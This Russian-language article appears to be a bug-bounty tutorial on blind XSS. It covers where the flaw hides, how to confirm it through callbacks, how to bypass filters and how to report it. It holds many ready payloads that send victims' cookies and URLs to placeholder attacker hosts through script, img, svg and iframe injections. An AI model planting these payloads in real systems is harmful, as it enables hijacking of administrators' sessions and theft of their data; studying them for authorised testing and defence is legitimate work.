Blind XSS: как найти и проэксплуатировать уязвимость

Blind XSS: как найти и проэксплуатировать уязвимость

Почему Blind XSS остаётся грозным оружием багхантера.

image

Blind XSS — одна из самых коварных разновидностей XSS-уязвимостей. Если обычный XSS виден сразу, то слепой — нет. Скрипт исполняется в чужом браузере, о чём вы узнаете только по косвенным признакам. Именно поэтому Blind XSS — настоящая находка для багхантера: её сложнее обнаружить, но награда за такой баг часто выше.

Что такое Blind XSS и как он работает

В отличие от классического XSS, который срабатывает в интерфейсе, с которым работает сам атакующий, Blind XSS исполняется в другом месте — например, в админке, в панели модератора или в почтовой системе. Инъекция происходит где-то в пользовательском интерфейсе, но проявляется лишь тогда, когда другой человек откроет заражённые данные.

Пример: вы вводите в форму имени пользователя строку вида <script src="https://xss.example.com/poc.js"></script>. На фронте ничего не происходит — имя просто отображается как текст. Но через пару часов администратор открывает страницу с этой записью в своей панели, и… Бах! Скрипт исполняется в его браузере, отправляя вам cookies, localStorage, IP или токены.

Ключевая особенность

Вы не видите результат сразу. Именно поэтому нужно использовать механизмы "обратной связи" — чтобы понять, что ваша полезная нагрузка вообще куда-то попала и отработала.

Где искать точки входа для Blind XSS

Blind XSS особенно часто встречается в тех местах, где пользовательский ввод сохраняется и позже отображается в другом контексте. Вот популярные зоны риска:

  • Формы обратной связи (контактные формы)
  • Поля имени/компании/отзыва
  • Службы поддержки (тикет-системы)
  • Отправка сообщений или комментариев
  • Формы регистрации/редактирования профиля
  • Формы прикрепления метаданных к файлам
  • Внутренние CRM/админ-панели

Как устроена эксплуатация Blind XSS

Суть: вы вводите XSS-полезную нагрузку в одно из полей. Если данные потом где-то отображаются без фильтрации, скрипт выполнится. Чтобы понять, что он сработал, вам нужно, чтобы он сообщил об этом — например, отправил запрос на ваш сервер.

Типичная полезная нагрузка

<script src="https://yourdomain.com/blind.js"></script>

Где blind.js — ваш файл, отправляющий информацию о жертве на сервер:

new Image().src = "https://yourdomain.com/log?cookie=" + document.cookie + "&url=" + document.location;

Совет: персонализируйте нагрузку

<script src="https://yourdomain.com/blind.js?id=regform-username"></script>

Инструменты для охоты на Blind XSS

Примеры полезных XSS-нагрузок

  • <script src="https://xss.yourdomain.net/payload.js"></script>
  • <img src=x onerror="fetch('https://x.yourdomain.net?d='+document.cookie)">
  • <svg onload=location.href='https://x.yourdomain.net/?url='+location>
  • <iframe src="javascript:top.location='//x.yourdomain.net/?cookie='+document.cookie">

Примеры реальных сценариев Blind XSS

Сценарий 1: XSS через поле имени в форме обратной связи

<script src="https://attacker.site/c.js"></script>
new Image().src = "https://attacker.site/log?cookie=" + document.cookie;

Сценарий 2: Скрытая инъекция через имя файла

<img src=x onerror=fetch('https://x.attacker.site?d='+document.cookie)>

Сценарий 3: Сообщения в саппорт с отложенным исполнением

<svg onload="navigator.sendBeacon('https://xss.trap.net',document.cookie)">

Сценарий 4: Blind XSS через API метаданных

POST /api/documents/upload
{
  "filename": "report.pdf",
  "description": "<iframe src='javascript:alert(document.domain)'>"
}

Сценарий 5: Инъекция через кастомное поле профиля

<script>fetch('//trap.com?p='+document.cookie)</script>

Рекомендации по тестированию

Тестируйте разные типы полей, в том числе скрытые, и используйте уникальные payload'ы. Логирование обратных вызовов поможет точно понять, какие поля уязвимы.

Blind XSS и багбаунти: как оформить отчёт

  1. Укажите точку ввода
  2. Объясните, почему XSS слепой
  3. Приложите логи с сервера
  4. Поясните роль пользователя (если известна)

Обход фильтров: как не попасться на защите

  • Нестандартные теги: <svg>, <math>
  • Обфускация: base64, шаблонные строки
  • Внешние скрипты вместо встроенных
  • Кодировка: Unicode escaping, UTF-7

Полезные ресурсы

Заключение

Blind XSS — это проверка внимательности, терпения и методичности. Уязвимость может долго оставаться незаметной, пока кто-то не активирует её случайным кликом. И если вы всё настроили правильно — именно вы получите уведомление. Это и делает Blind XSS особенно ценным багом.

Ищите, автоматизируйте, логируйте. Удачной охоты!


Красная или синяя таблетка?

В Матрице безопасности выбор очевиден

Выберите реальность — подпишитесь